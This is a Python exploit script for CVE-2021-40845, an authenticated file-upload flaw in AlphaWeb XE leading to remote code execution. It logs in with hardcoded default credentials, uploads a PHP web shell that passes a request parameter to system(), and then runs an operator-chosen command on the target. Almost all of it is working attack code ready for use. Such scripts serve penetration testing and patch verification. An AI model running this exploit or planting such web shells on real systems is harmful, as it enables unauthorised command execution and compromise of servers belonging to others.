# Exploit Title: AlphaWeb XE - Authenticated Insecure File Upload leading to RCE (CVE-2021-40845)
# Date: 09/09/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# CVE: CVE-2021-40845 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40845)
# Example: python3 CVE-2021-40845.py -u "http://$ip:80/" -c "whoami"
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-40845

import requests
import base64
import argparse

# Default credentials, change them if it is necessary
admin_user = "admin"
admin_pass = "alphaadmin"
scripter_user = "scripter"
scripter_pass = "alphascript"


def get_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-u', '--url', required=True, action='store', help='Target url')
	parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')
	my_args = parser.parse_args()
	return my_args


def main():
	args = get_args()
	base_url = args.url
	url_main =   base_url + "/php/index.php"
	url_upload = base_url + "/php/script_uploads.php"

	command = args.command
	uploaded_file = "poc.php"
	url_cmd = base_url + "/cmd/" + uploaded_file + "?cmd=" + command

	login_authorization =  "Basic " + str(base64.b64encode((admin_user+':'+admin_pass).encode('ascii')).decode('ascii'))
	upload_authorization = "Basic " + str(base64.b64encode((scripter_user+":"+scripter_pass).encode('ascii')).decode('ascii'))

	headers_login = {
		"Authorization": login_authorization,
		"Cache-Control": "max-age=0"
	}

	headers_upload = {
		'Authorization': upload_authorization,
		'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="92"',
		'sec-ch-ua-mobile': '?0',
		'Upgrade-Insecure-Requests': '1',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
		'Sec-Fetch-Site': 'same-origin',
		'Sec-Fetch-Mode': 'navigate',
		'Sec-Fetch-User': '?1',
		'Sec-Fetch-Dest': 'iframe',
		'Accept-Encoding': 'gzip, deflate',
		'Accept-Language': 'en-US,en;q=0.9',
	}

	files = {
		"userfile":(uploaded_file, "<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>"),
	}

	s = requests.session()
	# Login as admin
	s.get(url_main, headers = headers_login)
	# Upload file
	upload = s.post(url_upload, files=files, headers = headers_upload)
	# Execute command
	cmd = s.post(url_cmd)
	print(cmd.text.replace("<pre>","").replace("</pre>",""))


if __name__ == "__main__":
    main()
